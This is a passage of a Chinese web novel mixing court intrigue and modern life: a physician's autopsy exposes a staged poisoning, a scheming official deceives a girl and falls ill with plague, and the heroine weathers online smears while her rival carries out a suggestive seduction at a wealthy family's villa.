大指挥使也不敢胡乱跟云承月顶嘴,只好把目光投向皇帝,却见皇帝嘴角微不可见地抿了抿。 大指挥使立刻道: “云神医这话也不一定做得准,剖尸一事我们虽不懂,但凡事要讲证据……” 谁料话没说完,云承月突然一抬手,扔了个东西给他。 大指挥使下意识伸手接住,但下一刻却突然尖叫一声,把那东西远远地扔了开去。 云承月展颜笑起来: “这是死者的胃。我看不见,但在座各位可以看看,是不是黑得很?那是因为他是被人灌的毒,从外面打的掌力再厉害,这毒也是不能把胃渗成这个样子的。” 众人脸色苍白,齐齐朝掉在地上的郎松的胃看过去。 那确实是黑乎乎一团,又恐怖又恶心,跟云承月所说分毫不差。 大指挥使一想到刚才这玩意竟然落在了自己的手心里,就恨不得立刻把晚饭都吐出来。 但当着皇帝的面还是要讲究仪态,他连忙看向皇帝。 却见皇帝还是不说话,看了一眼裴应见老神在在的侧脸,皱着眉,再次狠狠给他使了个眼色。 第132章 家传秘技 大指挥使到底跟随皇帝多年,哪能不明白这是皇帝心里对这个结果不满意,但又不愿意反驳云承月的表现。 其实打从一开始的时候,他们就已经知道皇帝对裴应见的态度了,否则堂堂侯爷,岂能说抓起来就抓起来、说关就关呢? 因为皇帝的态度很明确,所以他们对待裴应见才会是如今这幅样子。 但,谁能想到云承月的剖尸结果是这样?这不是赤裸裸地打皇帝的脸么? 大指挥使心里叫苦,面上还得不动声色。 他迅速思索片刻,开口道: “云神医这话有几分道理,但世间之事没有绝对。据我所知,赤雷鬼手乃是裴家先祖自创绝学,几代人传下来,到裴老侯爷这里,早已使得出神入化,说以一敌百都不为过。” “裴小侯爷作为老侯爷独子,此功必然更是青出于蓝,且看那掌力如此深厚,那毒深入胸腹之内,也不是没有可能啊。” 众人便都想起郎松之前的惨状,这一掌确实十分厉害,他前胸被打之处整个都凹陷下去了,可见力度之强劲。 谁知下首的裴应见却忽然笑了笑,那笑容里似乎带着一丝讥讽意味,却叫众人摸不着头脑。 云承月再度云淡风轻开口: “这也好办,咱们再找个人,让这位裴……什么侯爷,把他杀了,两下比一比,不就知道了吗?” 众人一下悚然。 没想到这么光风霁月的云神医,嘴里竟然能就这么随随便便说出杀人的话来。 大指挥使几乎是下意识反驳:“那也不准,若这厮藏着掖着怎么办?” “那就要求他必须用这种家传武功,且必须把人打成和这位死者一样,不然就不算,如何?” “这位大人呼吸轻缓,想来也是练家子,到时候是与不是,相信您也看得出来。” 这么一来,大指挥使实在没有话说了。 他悄悄看了看皇帝,见皇帝未有指示,只能硬着头皮叫人拉来一个死囚,让裴应见试试。 裴应见也不含糊,一掌挥出,带着雷霆万钧之势,直接将那死囚打飞了出去。 那死囚重重摔在大理寺卿脚边,没有丝毫痛苦就没有了生息。 却把大理寺卿给吓得够呛,不顾仪态尖叫起来。 皇帝猛地皱了皱眉头,瞥了裴应见一眼,示意人把死囚抬上台子。 云承月更是利落,手起刀落,很快就把这死囚的胃也给剖了出来。 死囚知道自己今日必死,临死前的断头饭特意要的大鱼大肉还有酒,这会儿把胃摘下来,那味道,别提多酸爽了。 就连皇帝也被熏得差点失态。 云承月还兴致勃勃地询问众人:“如何?是何颜色?这胸腹之间的皮肉是否发黑?毒素是否深入内脏?” 没人回答他。 众人都快恶心吐了,都只看了一眼,没有人有那个胆子再看第二眼。 半晌,只有裴应见略带讥诮的声音响起: “毒素只在皮肉而已,在下的功力,还没出神入化到那种地步。” 云承月笑了:“那今日之事便已成了,真相已辨明,告辞!” 他说完竟转身就要走。 皇帝这才反应过来,连忙去拦:“云神医,留步!云神医,是否能为朕再诊脉一番?” 云承月懊恼道:“瞧我,倒将此事忘了。不过皇上您知道我的规矩……” 皇帝连忙屏退左右,几个官员已经无事,很利索地走了。 裴应见却也道: “既然臣也已洗脱罪名,就也退下了。” 皇帝的脸色暗了又暗,沉默片刻,最终什么话也没说,放他走了。 云承月脸上笑意盎然,待堂中彻底没了人,这才将手覆在皇帝的手腕上。 他的手方才还对两个尸体上下其手过,但皇帝却全然不在意,实在是没有什么,能比他龙体康健更重要的了。 …… 秦绵绵睡梦之中,忽然听到一阵水声。 眼前却迷雾重重,不知是真是幻。 她用尽力气勉强睁开眼。 猛地坐起来,却发现屋子里黑乎乎的,只有屋子那头有一盏小夜灯亮着。 一个高大的人影弯着腰,正在水池那边洗手。 朦胧的灯光外,他的身影显得又昏暗,又落寞。 秦绵绵皱起眉头,他似乎洗了有好一会儿了,手上有什么脏东西,要洗这么久? “大侯爷?” 看了男人半晌,秦绵绵终于出声。 男人的身形一顿,终于关了水管擦手,似乎还有些不情不愿。 “出事了?” 但秦绵绵很快否定了自己这个想法。 出事他就没办法来找自己了。 裴应见微微扯了扯嘴角,露出一个淡淡的笑容。 “没事,我这不是好好的么。事情解决了,多亏了你教的解剖之法。” “那可不是我教的。” 秦绵绵下了床,把大灯打开,上下打量了一番裴应见。 虽然他极力掩饰,但她还是能感觉得到,这家伙今天很是有些不对劲。 但是他不说,她也就不问。 她转头下楼去给他做了点黑暗料理端上来。 裴应见竟然罕见地吃得很开心。 得,看得出来他确实不太对劲了。 “怎么大晚上突然来了,就为了报个平安?” 裴应见擦擦嘴:“不行吗?” “不像。无事不登三宝殿吧。” 秦绵绵揶揄着,忽见裴应见唇角有一点点东西没擦干净。 她顺手就抽了一张纸巾,伸手上去。 她的身子骤然靠近,带着她身上的凛冽幽香,直扑他的鼻尖。 他原本散乱的一颗心蓦地猛烈跳动起来。 “我自己来。” 他下意识地伸手去挡。 秦绵绵却径直一把将他的手抓在掌心。 他的手不知道什么缘故,有些冷。 她抓得紧紧的。 “别动。” “我……” “也别说话。” 她凑近他,近得他都能看清她瞳孔里面自己的影子。 裴应见就是在这个瞬间忽然发觉,她的眼睛里面竟然有他。 意识到这种难言的微妙后,他的呼吸甚至都停滞了。 谁知就在这个时候,房门突然被人撞开。 姚祁一阵风一般冲进来:“好呀,大半夜的做什么好吃的呢,我也要分一份儿!” 却在看清两个人的暧昧举动后,骤尖叫捂脸:“我什么都没看见!” 而秦绵绵被他一吓,更是登时一个趔趄,竟直接摔进了裴应见的怀里。 第133章 治那老贼去 “造孽啊造孽!” 姚祁捂着眼睛,又一阵风似地跑了出去,比来的时候更快。 但刚转过楼梯拐角,他脸上的笑容却倏忽消失不见。 姚祁顿住脚步,转头朝秦绵绵的房间望了一眼,露出一丝略带讥讽和嫉妒的神情。 这边,房间里,人已经走了好一会儿了,秦绵绵竟然还坐在裴应见怀里,没有要起来的意思。 裴应见脸上的红晕已经从脸颊边爬到了耳根处。 秦绵绵抬眼,手指从他好看的眉眼之上掠过。 “怎么,大侯爷吃醉了酒和清醒的时候,就这么判若两人么?” 裴应见整张脸干脆一下子全都红了。 他当然不是不记得,那天喝多了一点,跑到她这里强吻她,还死乞白赖地想要一个名分来着。 但是今天他是清醒着的,面对她的靠近,他甚至有点害羞这是怎么一回事? 裴应见偷偷呼一口气,慢慢别开了脸去。 秦绵绵调笑他: “你不看我?不看我,可就没有奖励了哈。” 男人连忙转过头来:“什么奖励?” 秦绵绵不由分说,一把揽住他的脖颈,吧唧一下亲在了他的唇上。 裴应见呼吸猛地停住。 然而,还没等他变被动为主动,甚至还没等他感受回味一下,那柔软温凉的唇却已经如蜻蜓点水一般又迅速飞走了。 秦绵绵已经从他怀里跳下:“好了,奖励也奖励过了,给姑娘我笑一个。” 裴应见:…… 他伸手摸了摸方才被她亲吻过的唇角,但看眼前这个让人又爱又恨的女子,她寻常冷峻的眉眼此刻忽然变得十分温柔,亮晶晶的双眼里藏着许多狡黠。 他终于忍不住失笑一声。 接着,笑容终于慢慢在他唇边绽开。 …… 天光微亮的时候,男人轻轻给床上熟睡的人掖了掖被角,拿起床头柜上的一个小巧的盒子,转身欲走。 却冷不防被被子里伸出来的一只白皙玉手抓住。 “哪儿去啊?” 裴应见唇角翘了翘,低声,略带着一丝哄着的意味道:“回去,治那老贼去。” 秦绵绵仍旧闭着眼睛,声音懒懒的: “我就说,你来为的就是哄我连夜给你弄这些东西,东西到手了,连夜都不肯过,就要走。” 她未曾睁开眼,不知就这简单的两句话,对面男人的心思已经千回百转过,连呼吸都急促了。 最后,他俯身过来,在她额上轻轻落下一个吻,还是转身走了。 秦绵绵从始至终没有睁开眼,但却翻来覆去一直到天光大亮,再也没睡着。 回到侯府,天还没彻底亮起来,裴应见进了书房密道,云承月正在其中一间密室里小憩。 “可回来了,还以为你又要在那住下呢。” 裴应见却不理他,只问:“今夜怎样?” 云承月嗤笑一声: “能怎样,皇帝老儿最惜命不过,自然是对我言听计从。” “给他诊完脉,我将毒物分析了,我告诉他其中一味毒药十分稀少,来历很容易追查,皇帝老儿当着我的面吩咐让人去查了。” 裴应见冷笑:“究竟是不是真的去查还不一定呢。” 云承月在意的却不是这个:“我只怕他到底会怀疑我们之间的关系,他原本就多疑。” “他愿意怀疑就怀疑去,又没有证据。话说回来,没有证据却宁可错杀三千,一直不都是他在做的事么。我头上的怀疑多一个少一个,又有何关系?” “说的也是。那我们接下来怎么做?” 裴应见勾勾唇:“接下来么,你得想办法把这东西,带到甘彦身边去。” 他说着,取出那个小盒子,盒子里面两排六个小巧如扣子一般的东西,外表看起来平平无奇,但云承月知道这一定又是这家伙从那神秘的客栈里弄来的神奇玩意儿。 “这东西能做什么?” “暂时保密,很快你就会知道的。” “那我怎么接近甘彦?” “这难道不是你的拿手好戏么?” 云承月想了想,笑了开来:“不错,那就等着我的好消息吧。” …… 但裴应见不知道的是,三堂会审剖尸的这一晚,远在家中的甘彦也没睡好。 他却不是在担心裴应见翻案,而是另有要事去做。 第二日一早,甘彦下朝之后没回家,却叫马车拐到一条早市尚未散去的长街上。 甘彦在车上换了一身朴素的衣袍,下了车,不让车夫跟着,自己慢慢朝不远处的菜摊子踱过去。 城里人没田,吃菜都得到市场上买,便有京郊附近的农民们专门种了菜,每日清早担了进城来卖。 又便宜又新鲜,很是得城中百姓青睐,往往等到甘彦下朝的时辰,市场上的菜就已经卖的七七八八了。 但甘彦并不着急,因为他早已经打探好了,他要等的这个人,平常也是这个时辰来。 甘彦在几个菜摊附近转来转去,挑挑拣拣一阵,不一会儿,便有一个年轻女孩子挎着菜篮子来了。 女孩子似乎对这片非常熟悉,她熟练地挑拣,讨价还价,很快买了一大篮子还不错的便宜菜,眼看要走,甘彦适时快步过去,一下冲撞了她: “真是抱歉,姑娘……” 抬头看到女孩子的样貌,甘彦却好像惊呆了,呆立在原地,几乎忘了言语。 半晌,他才颤颤巍巍,挤出两滴眼泪: “月娘……你是月娘吗?!” …… 回程的马车上,甘彦心情大好。 他将方才一直攥在掌心的那块劣质玉佩随手扔在一旁,取出丝巾仔细擦了手。 这个齐月娘,经他查探,来到裴应见身边也有月余了,没想到还是这般愚蠢,看来裴应见的身边也没几个聪明人。 他只需要表演一番,说几句激动的话,就成功地骗了那齐月娘相信自己就是她的生父。 而且这女孩子不是一般的蠢,不光相信了他一直未曾接她母女来京城是有苦衷的,还因为自己这些年未曾尽孝膝前,十分懊悔。 这世上简直没有比这更可笑的事情了。 她更不可能知道,这块珍贵无比,让他们能“父女”相认的玉佩,不过是他从真正的齐父手中,随便花了点小钱买来的。 第134章 甘大人死去活来 那姓齐的不过是一个六品小官,却一直骗家乡的妻女说自己在京城做大官。 在这里重新娶妻生子不算,还一直骗她们说自己生活困难,让她们省吃俭用省下银子送来京城给他花用。 “本官也有许多年未曾见过如此厚颜无耻之人了……”甘彦捋了捋胡子,慢吞吞朝着外面的车夫道,“去把那姓齐的做了,做的干净点,做完你去外面躲一阵吧……我总觉得这个姓裴的,不会这么善罢甘休。” 那车夫帽子遮着半张脸,外人看不清面容,但实则甘彦这么多年以来,身边只有这么一个信得过的人。 他不仅武功高强,还忠心耿耿,这些年没少帮他解决麻烦。 就像上次去杀郎松,如果不是他搞来毒药,又掌力深厚,他是万不可能做出郎松被赤雷鬼手杀死的假象的。 只可惜,半路不知道从哪杀出个云神医,想出剖尸一计,最终证明了郎松之死另有隐情,就连皇帝也不能说什么。 本来皇帝都已经要定裴应见的罪了! 他本可以趁此机会借皇帝之手杀掉姓裴的,可惜就这么功亏一篑! 想到此处,甘彦只觉心中愤恨不已。 转念一想,他又笑了。 他觉得姓裴的难杀,皇帝又何尝不发愁呢? 前段时间三皇子死的时候,皇帝可是罢了三天朝呢。 不知道的,以为他是为儿子之死哀伤,但知情的都知道他是被气的。 毕竟三皇子这次的跟头可栽的不是一般的大。 幸亏他火眼金睛,早知道三皇子周戟是个扶不起的,早早搭上了五皇子。 若把宝都押在三皇子那个蠢货身上,那可就糟糕了。 不过,五皇子虽然听话又蠢笨老实,十分合适扶持,但缺点是年龄太小,以后变数太多。 也只能走一步看一步了。 但,不管他到底扶持哪个,最后哪个皇子登位,他裴应见,都得早点死。 他是这么想的,而皇帝,也是这么想的。 然而,这其中有一件事非常有意思,那就是他甘彦知道裴应见的真实身份,皇帝可不知道。 若有那么一天,皇帝知道了这其中的关窍…… 甘彦捋着胡子,笑的眼睛眯起。 他越来越期待有那么一天到来了。 “大人,到家了。” 车夫在外面低声提醒。 甘彦收敛起了笑容,又恢复了平日那副老实巴交的老好人形象。 他施施然跨入后院大门,想着赶紧搂着娇妻美妾去去疲累,谁知就在这个当口,他却毫无征兆地眼前一黑,直挺挺地朝前栽了过去! …… 甘府今晚热闹了,一个时辰之内竟然招来了五个大夫。 没办法,谁让表面看起来朴实无华、勤俭为民的甘大人,实际上府中藏着十来个美人呢? 这些美人,不管是入府久的,还是新得宠的,有孩子的没孩子的,怀着身孕的,可都指着他甘彦一人过活呢。 甘大人突然生了疾病,她们哪有一个不着急的。 但让人没想到的是,几个大夫到了甘府,还没定论,躺在床上的甘彦突然脸色发黑,猛烈地呕吐起来,外加剧烈的难以停止的咳嗽。 这症状立时就把几位大夫吓毛了。 “这这这,这是时疫啊!” 娇妻美妾们吓得花容失色,哭得梨花带雨:“这怎么可能?” 然而大夫们拔腿就跑。 美人们犹豫了也就一个呼吸的时间,也跟着跑了。 跑的一个比一个快,比以前争宠的时候快一百倍。 躺在床上的甘彦昏昏沉沉间,愤恨不已。 没想到,他竟然也感染了时疫,难道他也要落得一个跟郎松一样的下场吗? 他不甘心啊! 最可恨的是,这些人平日对他言听计从,极尽谄媚,可一得知他得的是时疫,跑得都比兔子还快! 明明前一天晚上还在床上说最爱他呢! 最要命的是,唯一对他忠心的车夫,他却刚把他打发走了。 此时此刻,竟无一人来救他,他孤立无援,只能等死! 甘彦又怒又悲,就这么一直昏昏沉沉,从晚上躺到早晨,又躺到晚上。 一粒米未进,一滴水没喝。 房门关得死死的,根本没有一个人敢从他门前过! 哪怕是个好人,这么熬都得熬死了,何况他还病得这么重。 然而,就在他三魂七魄丢得差不多,以为必死的时候,房门突然被打开了。 甘彦睁开眼,见来人擎着一盏昏灯,慢慢挪了进来。 是的,那人是坐着一架轮椅挪进来的,因为他腿脚不便,根本站不起来。 更让人惊讶的是,他双眼无神,竟然是个瞎子。 他慢慢摩挲着,走到了甘彦的床前,就开始给他施针。 而床上的甘彦却早已惊得话都说不出来了。 这人不是别人,正是京城盛传的,皇帝的救命恩人——神医云承月! 一个时辰之后。 本以为自己马上要死的甘彦,在云承月的救治之下,又活了过来。 他的咳嗽好多了,也不那么喘了,脸上甚至都有了血色。 云承月留下一张药方:“按此方抓药,连服半月,方可根治。府上其他人也都一起喝,免得传染。” 甘彦忙不迭答应,还要给诊金。 云承月却悠然一笑: “京城得时疫者众多,我若人人收钱,岂不是很快就能暴富了。” 甘彦顿时无话可说。 云承月又叹道: “只可惜我只一人,到底力所不及,今日顺着线索找到了甘大人您,但前些日子有一位也是得了时疫的官员,听闻府中上下都染了病,我却没有救得了他。” 甘彦立时就知道他说的是郎松,尽管死去活来,生的喜悦却没有冲昏他的头脑。 他只是象征性地安慰了云承月几句,完全没有提及关于郎松的任何事。 云承月又告知他,是因为查到菜摊上的菜贩子得病,才追查到他这里的,还询问他当时有没有接触什么其他人,他还要去给他们治病。 甘彦立时想到了刚刚跟他“认亲”的齐月娘。 但他也没提起。 呵,他自己的命最重要,至于其他人,死不死跟他有什么关系。 不论是菜贩子还是齐月娘,在他眼里都跟蚂蚁没什么区别。 第135章 又上热搜了 云承月问不出什么,也没说别的,还安慰了他一番,最后从怀里摸出一个香囊。 “这是我配制的药囊,你且带着,可助你早日康复。且待康健之后,也有强身健体之效。” 甘彦大喜,忙道谢接过。 云承月翩然而去。 甘彦将那药囊闻了好几遍,然后小心翼翼放在贴身的地方,这才安心地睡了过去。 他却不知,这药囊里的“药”可是云承月特意为他配制的,里面有裴应见带来的“稀有药材”,对他,确有奇效呢。 …… 叶子舟值夜班,早晨罗小胖起来接他的班,却见姚祁随意披了一件棉服,也晃晃悠悠走进大堂。 罗小胖看他脑袋上的鸡窝头,十分不满: “我说幺鸡,你好歹也是个帅哥,就不能把自己打扮得利索点吗?学学人家裴先生。你看人家裴先生,每次出现,那头发丝都没有一根是不听话的,你再看看你。亏你也算是咱客栈的门面之一。” 姜芙进来从对面过来蹭早饭,听到这话,也附和: “就是,白瞎这张好看的脸,好歹也是富二代,你也学学穿搭。远的不说,就说虞宗辰吧,你看看人家这衣品。” 姚祁急了:“你少拿我跟那个渣男比啊!再说了,哥们咱是硬帅风,穿个麻袋也帅。” 罗小胖很是不服气。 但没多会儿,大门就走进来几个清早来游玩的女孩子,进门二话不说,直奔姚祁。 女孩子们把姚祁团团围住,闪着星星眼一顿询问,姚祁慢悠悠地领着她们去办理了入住。 回过头来,问罗小胖:“怎么样,服不服?” 罗小胖懒得理他,低头摆弄手机,没一会儿,突然猛地啐了一口: “我呸!大早晨的,真晦气!” 众人忙过来看,却发现原来竟是秦绵绵和房小雪突然上了热搜,而导火索就是因为那天在奶茶店门口的泼糖浆事件。 罗小胖唾骂:“我就说这俩玩意儿没憋好屁,果然带着狗仔来的。” 新闻上视角刁钻,画质又极清晰,很显然拍摄者是有备而来。 这视频把贾芊芊被秦绵绵泼糖浆的画面拍得一清二楚,画面里,贾芊芊作为受害者弱不禁风楚楚可怜痛苦不堪,而秦绵绵则嚣张跋扈不可一世得意非常。 不得不说,这狗仔拍摄手法确实一流。 而文案更是添油加醋,夸张至极,以至于新闻一发,就导致不明真相的观众纷纷认为贾芊芊是被秦绵绵和房小雪霸凌了。 评论区骂得很难听,看得众人一阵脑袋冒烟。 可就在这个时候,秦绵绵下楼来了。 “看什么好玩东西呢?” 罗小胖赶紧扣下手机:“没事!” 秦绵绵晃晃手,做了个假动作,一把就把他手机摸过来,看到了上面的新闻。 众人连忙想安慰她,谁知秦绵绵却丝毫不在意: “害,这算什么事,这年头,没有点新闻,那能叫公众人物吗?好了,赶紧收拾收拾吃早饭,今天有人上门送钱呢。” 果然上午房小雪就带着几个人来了,大伙儿一看好家伙,都是圈子里有名有姓的大导演。 见了秦绵绵还都十分客气,一谈才知道,原来这几位都是奔着秦绵绵即将竣工的影视城来的。 他们都想在影视城里拍戏,而且还想通过房小雪,在秦绵绵这里搞一个优惠价格。 这一上午,秦绵绵又是签合同又是收定金,忙得不亦乐乎。 到了中午,又来了一个老熟人。 赵立生不知道从哪请来一个表演团队,今天正忙着排练,秦绵绵让罗小胖做了十多份盒饭,她给送过去,谁知回来的时候,突然发现客栈门口蹲了个人。 正在门口的墙根底下呼呼吹冷风。 仔细一看—— “杨导?您什么时候来的,怎么也不说一声?” 杨导不知道是不是有什么特殊爱好,这么爱蹲墙根,秦绵绵把他拉进去,请他吃了点东西,他还是愁眉苦脸的。 秦绵绵不免出言安慰:“放心,虽然我签了不少合同,但你什么时候要用影视城随时就来用,不收你钱,好不好?” 杨导却更唉声叹气了。 姚祁凑过来:“咱们杨导连演员都凑不齐,更别提拍戏了,他可烦恼了。” 杨导挠头看他:“小伙子,你怎么知道?” 姚祁笑嘻嘻:“爱看点娱乐圈八卦而已,我知道杨导您半路又被塞了一部戏,而且这部戏很是棘手,因为它原定的女主角是……贾芊芊。” 大伙儿一听,立刻又都围了上来。 “贾家都倒了,这女人还能演女主角啊?” 姚祁道:“这戏本来大部分就是贾家投资的,贾家倒台撤资,其他资方就多投了点,重新找女主角人选,但是吧,这事很不好办。” “为啥?” “因为贾家虽然臭了,但贾芊芊还没从娱乐圈退出去啊,这女人又睚眦必报,不管找谁来演女主,她肯定都得使点绊子,要不就不是她的风格了。” 姚祁解释完,杨导唉声叹气的更大声了。 看来姚祁说的一点不错。 但大伙儿却没什么法子能帮上杨导的忙。 谁知一旁的秦绵绵却突然开口:“没人演,我演。” 杨导顿时眼睛一亮:“真的?!” 罗小胖连忙阻拦:“行了祖宗,咱的事儿就够多了,你好好做你的生意不行吗?” 秦绵绵却不肯:“我的处女作没演完就歇菜了,这戏瘾还没过完呢,再说了,我们不找她,她就能老老实实不找我们的晦气吗?与其这样,那还不如给她添添堵。” 杨导十分高兴:“就是,就是!你放心,你这荧屏首秀,我一定帮你弄得漂漂亮亮的,走,咱这就定妆去!” 然后,就如秦绵绵所料,下午定妆照刚一发布到网上,秦绵绵就立刻再次遭到了网暴。 这次贾芊芊干脆开了直播,不仅声泪俱下添油加醋地回应了那天到底是怎么被秦绵绵欺凌的,还直接指责秦绵绵抢了自己的女主角,说她背后有人,带资进组,甚至一手遮天。 姚祁看着新闻,不住啧啧:“掌柜的,来来,我看看你手到底有多大,怎么个遮法。” 说着,忽然就上手,把她一只纤手握进了自己的手心。 第136章 背后金主是谁 秦绵绵的手冷不防被他抓住,不由愣了愣。 姚祁的手很薄,手型细长好看,骨节分明,张扬,如同他这个人。 但秦绵绵不擅长在这种情况下欣赏,所以下一秒,姚祁就直接被按倒在了桌子上。 “疼疼疼疼!掌柜的我错了!救命……救命命……” 罗小胖等人笑:“敢上手,活该啊。” 因为有了秦绵绵这个主心骨,大伙儿都没把贾芊芊的挑衅当回事,但奇怪的是,到了晚上,这些热搜啊新闻啊,竟然忽的一下子,全都不见了。 就连贾芊芊本来约定好的第二场直播,也未能如期开始。 下午的第一场直播里,贾芊芊可是信誓旦旦地跟观众们约定,晚上的第二场直播她会拿出来能捶死秦绵绵的证据。 她要搞一个大新闻。 而现在,连小新闻都不见了。 要知道贾芊芊可是睚眦必报的性格,能让她突然失约,那肯定不是小事。 等到了第二天,网友们也开始察觉到了不对劲,面对突然消失的秦绵绵的黑料,网友们开始众说纷纭。 最后,大家一致认为,秦绵绵背后一定是有大资本,大金主,不然怎么可能一出手就公关得这么彻底。 “假千金傍上真资本,怪不得敢硬刚流量小花,是我,我也泼贾芊芊!” “爱了爱了,我有这实力,我也带资进组,女主角我一次要两个,演一个扔一个!” “歇会儿吧楼上,霸凌是什么好事吗?虽然贾芊芊也不是什么好人,但靠着自己背后的靠山随便欺负人,姓秦的就是好人了吗?” 客栈众人都看得一头雾水。 罗小胖皱着鼻子:“就咱们这小破客栈……资本?” 秦绵绵抬手给杨导打了个电话。 娱乐圈的事情,杨导比她懂,何况这件事本身就牵扯到他,说不定是他出手的。 但杨导却只跟她打哈哈,告诉她不要胡思乱想,只专心看剧本背台词就行了,剩下的事情,不用她操心。 秦绵绵皱皱眉头。 这么看来,就不是杨导出手的了。 她又悄悄发了个信息询问盛意,盛意回复说他看到了网上的黑料,正要出手的时候,黑料就已经下线了。 他也不知道是谁出手的,正在加紧查。 彼时大伙儿正在吃午饭,姚祁突然端了碗汤过来。 “最后一碗鸡蛋汤了哈,给咱们掌柜的喝。” 姜芙阴阳怪气:“切,小气,谄媚!” 姚祁毫不客气回怼:“我乐意~” 秦绵绵喝着鸡蛋汤,盛意的信息来了,她看着上面的内容,放下碗,探究地看向正在跟人斗嘴的姚祁。 …… 海城市郊,钱家别墅。 夜深,虞宗辰洗过澡,只围了个浴巾从浴室走出来。 拿起手机,看了看热搜上的新闻,好看的眉头皱起。 他原本并不打算给秦绵绵添麻烦,虽然她不太喜欢他,但碍于他外公这层关系,他并没有想跟秦绵绵撕破脸过,哪怕她都那样对他们了。 是贾芊芊硬要跟秦绵绵刚,他也拗不过她,只好听之任之。 昨天看到那些新闻,他其实是很着急的。 但他也没想到,这么快秦绵绵就公关到位了,让他又有点茫然,摸不着现在到底是什么情况。 而讨厌的是,秦绵绵的黑料没有了,网友们却又开始骂贾芊芊了。 他不得不也花了大价钱,雇佣水军去力挺贾芊芊。 虽然贾家不行了,但她在他心中,依然是最美丽的那个。 虞宗辰胡思乱想一阵,就打算上床睡觉。 因为他这是在钱家,他的外公家。 他外公出身名门,家里规矩多,睡觉太晚,会被骂得很惨。 但就在他准备关灯的时候,门外忽然响起一阵轻微的敲门声。 “谁?” 一个压得很低的女声回答:“少爷,给您送宵夜。” 虞宗辰很是纳闷。 他外公家的规矩,夜里是绝对不准吃宵夜的,怎么可能会有佣人来送宵夜? 他狐疑地打开门,却有一个人影猛地扑了进来。 来人迅速关上门,一下就扑到了他身上,搂住他的脖子,不由分说,开始深吻。 虞宗辰吓了一跳,半晌才回过神来,这竟是贾芊芊! 虞宗辰瞪大眼睛,想问她话,贾芊芊却全然不理,整个人都挂在他身上,十分凶猛地胡乱亲吻他。 虞宗辰很快呼吸就乱了,就在他终于缓过来僵直的身子,准备跟她有所回应的时候。 贾芊芊却又忽然从他的怀里跳了下来。 灯光之下,她略微泛红的脸别提有多好看了,虞宗辰整个心跳加速。 “你,你怎么会来这里?你怎么进来的?” 钱家规矩大,门第也森严,他实在想不出贾芊芊到底是怎么深夜混进钱家别墅的。 贾芊芊一笑:“你别管,我反正有办法。” 虞宗辰有点着急。 “今天我两个舅舅也在,我外公这会儿也还没睡呢。被他们发现,我们就都完了!” 贾芊芊很不高兴:“瞧你说的,他们能有多么恐怖,难道会吃人?” 虞宗辰不知道该怎么解释。 他的父亲其实也是娱乐圈里的人,但母亲却是千金大小姐。 只因钱家从几百年前开始就是名门望族,到了他外公这一代,只得一女,因此他母亲算是千娇万宠着长大。 虽然两个堂哥帮着打理家业,他母亲并不插手,但名义上她母亲还是钱家的继承人。 但任性如她,却跟一个演戏的戏子好上了,硬是要结婚。 最后没办法,算是虞宗辰的父亲半入赘,这才有了他虞宗辰。 因此在钱家面前,别说虞宗辰,就连他父亲,也是说不上话的。 每次虞宗辰在海城钱家的时候,基本上都是夹着尾巴做人。 可偏偏这种地方,这种时候,贾芊芊竟然混进来了。 然而,更让他吃惊的还在后面。 只见贾芊芊忽然把大衣一掀,露出了里面的衣服。 虞宗辰顿时看直了眼。 他忍不住咽口水:“你,你……” 那大衣里面的衣服,简直不可描述! 一想到她竟然穿成这样潜进了钱家别墅,虞宗辰的冷汗都要下来了。 而下一秒,贾芊芊竟然不知道从哪里变出一根鞭子来。 她的神情突然变得倨傲而又冷漠。 只见她突然手腕一抖,“啪”的一鞭子,就抽在了虞宗辰赤裸的还带着水珠的胸膛上。 而虞宗辰非但没有生气,反而突然浮现了一种不可名状的表情。 接着,他竟忽然在贾芊芊面前,慢慢地跪了下去。 第137章 给老头儿气够呛 虞宗辰眼睛看不见,嘴巴不能说话,手脚也被禁锢着,不能动。 他整个人也十分迷惘,仿佛不知今夕是何夕。 但他却在这迷惘之中沉沦着,贪恋着。 如若不是耳朵还听得见,他真的以为这便是在西方极乐世界了。 耳边,贾芊芊甜腻、缠绵、极尽诱惑的声音响起: “感觉怎么样,是不是很快乐?答应我,你要想尽一切办法让钱家接受我。这样的话,我就可以一直让你这么快乐……” 虞宗辰深深呼吸,拼命点头。 贾芊芊的手抚上他的头发:“这才是乖宝宝。” 虞宗辰的身体忽然颤抖起来,他屏住呼吸,准备迎接下一次极乐的来临。 然而就在这个当口,房间的门却突然“砰”的一声被人推开。 几个人风一样地闯进来。 当先那人竟然是拄着拐杖,一派仙风道骨的钱老先生。 跟在后面的,分别是虞宗辰的母亲,两个舅舅,最后还有他的父亲。 而房间的床上,虞宗辰和贾芊芊两个人一丝不挂,纵情欢乐的样子,全都丝毫无误地落入了他们的眼中! 诡异的安静! 虞宗辰终于后知后觉知道出事了,连忙一咕噜从床上爬起来。 但他的手脚都还被绑着,根本没办法支撑,很快就又栽倒在了床上。 四下里安静异常。 钱家不愧是世家大族,这种强烈冲击人眼球的场面,竟然没有一个人崩溃尖叫出声。 虞宗辰的母亲虽然气得脸色苍白,却也还努力地维持着大小姐的体面。 反而是站在最后面的虞宗辰的父亲,这会儿就好像天塌了一样,要不是有一口气撑着,只怕立刻就要瘫倒在地。 而钱老先生,他的拐杖也要拄不稳了,整个人从头到脚,包括每一根胡须,都是颤抖着的。 虽然眼睛看不见,虞宗辰还是能断定,一定是最最坏的情况出现了。 他浑身发冷,甚至一下子就飙出了眼泪,嘴巴不能说话,只能不住呜呜出声,试图解释。 但这样子落在众人眼里,却又是另一番光景。 反而是一旁的贾芊芊还算淡定,她先扫视了众人一眼,然后顶着这些能刀人的眼睛,笑了笑,慢悠悠地爬起来,披上大衣。 接着,迈着优雅的步伐,从众人身边慢慢走过。 “你们慢慢聊。我先去收拾一下,啊对了,麻烦给我安排一间客房。” …… 这天晚上,钱家别墅罕见地叫了家庭医生。 听说是一向注重保养、十分康健的钱老先生忽然生了急病。 严重到晕过去两次,差点就送医院了。 而钱家的其他人,似乎也都不太好。 家庭医生十分好奇到底出了什么大事,但不敢多问,只给每个人都开了安神的药。 凌晨,二楼书房里。 虞宗辰收拾干净,来见终于好转一点的钱老先生。 刚一进门,一个茶杯就劈头盖脸扔了过来。 茶水撒了虞宗辰一脸,他本来苍白着的脸,因为茶水的淋湿,反而更显得凄美。 钱老先生看他这幅委屈巴巴的样子,更来气了。 “你给我滚!钱家没有你这样的后辈!人都让你丢光了!你给我滚出去!” 虞宗辰却不走,而是“扑通”一下跪倒在地。 虞宗辰母亲钱晓风急忙来劝,众人也都跟着劝,钱老先生却一棍子敲在虞宗辰父亲虞俞的脊背上。 虞俞虽然已经年近五十,却因为保养得当,依然是当年英俊潇洒的模样。 